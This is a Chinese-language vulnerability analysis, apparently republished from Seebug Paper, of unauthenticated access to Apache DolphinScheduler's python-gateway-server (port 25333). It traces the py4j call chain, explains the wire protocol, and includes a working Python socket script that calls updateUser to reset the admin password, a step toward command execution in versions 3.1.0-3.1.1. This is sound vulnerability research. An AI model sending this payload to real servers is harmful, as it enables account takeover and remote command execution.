6

Apache DolphinScheduler 未授权任意命令执行

 8 months ago
source link: https://paper.seebug.org/3096/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Apache DolphinScheduler 未授权任意命令执行

2023年12月25日2023年12月25日漏洞分析

作者:标准云
本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:[email protected]

看到了师傅的这篇文章《记一次Apache某项目的漏洞复现与挖掘》 我觉得漏洞的挖掘以及漏洞的利用特别有意思,于是我也想自己进行复现分析。

Apache DolphinScheduler,python-gateway-server 在默认情况下启动没有进行身份校验,监听服务在 25333 端口,python-gateway-server 会接收请求并去调用 PythonGateway.java中的方法,在一些版本中存在修改用户信息的函数,可以实现未授权修改用户信息并登录。结合 Apache DolphinScheduler 后台可以命令执行,最后实现未授权命令执行。

利用 docker 来进行环境的搭建操作

https://dolphinscheduler.apache.org/en-us/docs/2.0.5/guide/installation/docker

d1f1ae07-2892-4599-a10b-f55d0431b7a2.png-w331s

漏洞的出现原因是因为 python-gateway-server ,所以我们需要修改一下 docker-compose.yml, 文件将服务启动,端口映射出来。

  dolphinscheduler-PythonGatewayServer:
    image: apache/dolphinscheduler:2.0.5
    command: python-gateway-server
    ports:
    - 25333:25333
    environment:
      TZ: Asia/Shanghai
    env_file: config.env.sh
    healthcheck:
      test: ["CMD", "/root/checkpoint.sh", "PythonGatewayServer"]
      interval: 30s
      timeout: 5s
      retries: 3
    depends_on:
    - dolphinscheduler-postgresql
    - dolphinscheduler-zookeeper
    volumes:
    - dolphinscheduler-worker-data:/tmp/dolphinscheduler
    - dolphinscheduler-logs:/opt/dolphinscheduler/logs
    - dolphinscheduler-shared-local:/opt/soft
    - dolphinscheduler-resource-local:/dolphinscheduler
    restart: unless-stopped
    networks:
    - dolphinscheduler

http://192.168.184.1:12345/dolphinscheduler/doc.html?language=zh_CN&lang=cn 接口文档

发送请求需要安装依赖库apache-dolphinscheduler

python -m pip install apache-dolphinscheduler==3.0.0b2

https://dolphinscheduler.apache.org/python/main/start.html

9870eaf0-4720-45d9-8da6-15c7fbc9b272.png-w331s

安装成功后发现发送出现问题:

6b15ef74-ebc2-487a-b60c-69c59dedd47a.png-w331s

在测试的时候发现不知道是因为安装 apache-dolphinscheduler 的版本的问题,还是搭建环境的问题,导致运行时出现的错误并不相同。

为了实现利用,对不同 apache-dolphinscheduler 的版本测试。

在环境中安装了多个python 库的版本,如何在运行时指定版本。

在Python中,你可以使用虚拟环境(virtual environment)来管理不同库的版本。虚拟环境可以让你在同一台计算机上管理多个独立的Python环境,每个环境可以有自己的库和版本。

[+] 安装虚拟环境管理工具(如果尚未安装):
    pip install virtualenv

[+] 创建虚拟环境:
    virtualenv myenv

[+] 激活虚拟环境:
    myenv\Scripts\activate

[+] 安装特定版本的库:
    pip install package_name==x.x.x

最后发现应该是因为我利用 docker 启动的 python-gateway-server 存在一定的问题。因为是多服务器启动,导致调试不是很方便,所以还是采用作者搭建的环境方式。

docker pull apache/dolphinscheduler-standalone-server:3.0.0-beta-1
docker run --name dolphinscheduler-standalone-server -p 12345:12345 -p 25333:25333 -p 9898:9898 -d apache/dolphinscheduler-standalone-server:3.0.0-beta-1

实在是复现不出来出现各种各样的问题,于是现在还是调试着看。

-docker exec -it dolphinscheduler-standalone-server /bin/bash -c "cat /opt/dolphinscheduler/bin/start.sh" #查看启动文件
- docker cp dolphinscheduler-standalone-server:/opt/dolphinscheduler/bin/start.sh start.sh #将启动文件拷贝出来
- 将启动文件的JAVA_OPTS进行修改

  JAVA_OPTS=${JAVA_OPTS:-"-server -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}

  替换为

  JAVA_OPTS=${JAVA_OPTS:-"-server -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9898 -Duser.timezone=${SPRING_JACKSON_TIME_ZONE} -Xms1g -Xmx1g -Xmn512m -XX:+PrintGCDetails -Xloggc:gc.log -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=dump.hprof"}
  • docker cp start.sh dolphinscheduler-standalone-server:/opt/dolphinscheduler/bin/start.sh #将修改后的文件复制进去
  • docker exec -it dolphinscheduler-standalone-server /bin/bash -c "chmod -R 777 /opt/dolphinscheduler/bin/start.sh" #赋予权限
  • docker restart dolphinscheduler-standalone-server # 重启容器

启动调试操作,运行 python tutorial.py进行代码分析。

2f5f766e-4c82-4a04-bddf-ebb98c0a889f.png-w331s

抓取数据流量,大概得到发送的数据包以及返回的相对应的信息,添加断点进行调试分析。

py4j.GatewayConnection#run

a10b6257-e179-4d19-b684-4c8a42f61bdb.png-w331s

在这个地方我们可以看到,无论是有没有认证都会执行 execute。

py4j.commands.CallCommand#execute

2a530ec9-6287-4df4-8f7f-6de077603058.png-w331s

py4j.commands.AbstractCommand#invokeMethod

bb4bc835-b35f-4a45-b2cc-9a0b3474ba2a.png-w331s

py4j.Gateway#invoke(java.lang.String, java.lang.String, java.util.List<java.lang.Object>)

4250088a-38bf-4655-b7a2-6196ddf5aef0.png-w331s

py4j.reflection.ReflectionEngine#getMethod(java.lang.Object, java.lang.String, java.lang.Object[])

cecdc474-fbf6-4c60-925b-58d60de2c895.png-w331s

py4j.reflection.ReflectionEngine#getMethod(java.lang.Class<>, java.lang.String, java.lang.Class<>[])

98a8b6d0-86f0-4722-b89b-9dc31fc3c539.png-w331s

这个地方应该是比较重要的部分,会依据 clazz name parametes 来控制说、类名、函数名、参数内容 (ps 这也是为什么 2.0.5 无法利用成功的原因,根本没有class org.apache.dolphinscheduler.api.python.PythonGateway)。

getMethod:297, ReflectionEngine (py4j.reflection)
getMethod:326, ReflectionEngine (py4j.reflection)
invoke:274, Gateway (py4j)
invokeMethod:132, AbstractCommand (py4j.commands)
execute:79, CallCommand (py4j.commands)
run:238, GatewayConnection (py4j)
run:750, Thread (java.lang)
5c73d0e8-855f-429d-becc-1194455169eb.png-w331s

到此也正好对应了报错的调用链,原因是 getCodeAndVersion 仅仅有两个参数,传三个参数对不上了。

org.apache.dolphinscheduler.api.python.PythonGateway#getCodeAndVersion

be6ad791-f748-4278-96d1-9028bd4ea3ee.png-w331s

修改传参参数,最后的调用栈。

getCodeAndVersion:170, PythonGateway (org.apache.dolphinscheduler.api.python)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:244, MethodInvoker (py4j.reflection)
invoke:357, ReflectionEngine (py4j.reflection)
invoke:282, Gateway (py4j)
invokeMethod:132, AbstractCommand (py4j.commands)
execute:79, CallCommand (py4j.commands)
run:238, GatewayConnection (py4j)
run:750, Thread (java.lang)

此时我们可以未授权的调用 PythonGateway中的任意方法,为了造成更大危害,我们依次查看各个版本的 src/main/java/org/apache/dolphinscheduler/api/python/PythonGateway.java ,2.0.X 版本中并不存在这个文件。

3.1.0 中 PythonGateway 引入了方法 updateUser

df814351-0e9f-4f34-addb-945e8d2ddb37.png-w331s

3.1.2 中就引入了启动时的身份校验

48f9cf2a-77a6-48fa-8400-316b2aa38dc2.png-w331s

目前可以通过updateUser来更新用户信息,从而实现登录最后后台命令执行仅适用于版本 3.1.0、 3.1.1。

创建环境并利用,发送数据包前。

8df9a880-c3ad-43ff-8941-a0ef918b82e3.png-w331s
import socket

client = socket.socket()
client.connect(('192.168.184.1',25333))#Destination ip address and port number
data = '''c
t
updateUser
sadmin
sdolphinscheduler1234
[email protected]
s18888888888
stest
stest
i1
e
'''
client.send(data.encode('utf-8'))
data_recv = client.recv(1024)
print(data_recv.decode())

发送数据包后

dd6ee68b-7232-47b7-af05-04385ed49ff6.png-w331s

https://github.com/apache/dolphinscheduler/compare/3.0.0-beta-1...3.2.0

对参数的相关解析

ps:当然可能猜测的也是存在问题的~

对传入参数的解析

da78a320-adc8-4119-9980-849cacdd7f02.png-w331s
  • 第一行字符 c 作为发送数据包的第一个字段(固定);

  • 第二行字符 t 作为触发类 (存在 t、GATEWAY_SERVER、j 三个选择);

  • 第三行字符串作为请求类的函数;

  • 第四行字符串~最后一行字符串 依次为请求函数的字段(每个字符串的第一个字符代表了参数类型);

  • 最后一行字符 e 作为发送数据包的最后一个字段(固定);

截取一些代码片段作为佐证

py4j/commands/CallCommand.java

05559a05-8dfe-45e9-954a-dfbf4f4a82df.png-w331s

py4j.commands.CallCommand#execute

d853eaee-f708-4451-a8b2-4d5af84e4a30.png-w331s

依次获取第二行字符作为 targetObjectId,第三行字符 作为 methodName,第四行字符~, 最后一行字符作为arguments

arguments 调用 getArguments进行处理。

py4j.commands.AbstractCommand#getArguments

698b7ecc-5f2d-42c0-aa28-a58c7a803ff2.png-w331s

在函数中会依次调用 Protocol.getObject对每一行的字符串进行处理。

py4j.Protocol#getObject

280355c6-1290-4f98-a30f-eb3f1ec9f7ed.png-w331s

会根据每一行的第一个字符来进行判断参数类型。

py4j.Gateway#invoke(java.lang.String, java.lang.String, java.util.List<java.lang.Object>)

c457bf45-cb7f-4038-b420-dc99756e1e42.png-w331s

会调用 Object targetObject = getObjectFromId(targetObjectId);,来根据第二行字符targetObjectId 来查询的类名

23378bae-408f-42f4-99ef-172eb3017d02.png-w331s

有三个值可供选择

py4j.Protocol#isEnd

7c81c3a0-54c1-4d59-9d73-d1e12775427b.png-w331s

函数中标明 e 作为发送数据包的最后一个字段。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/3096/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK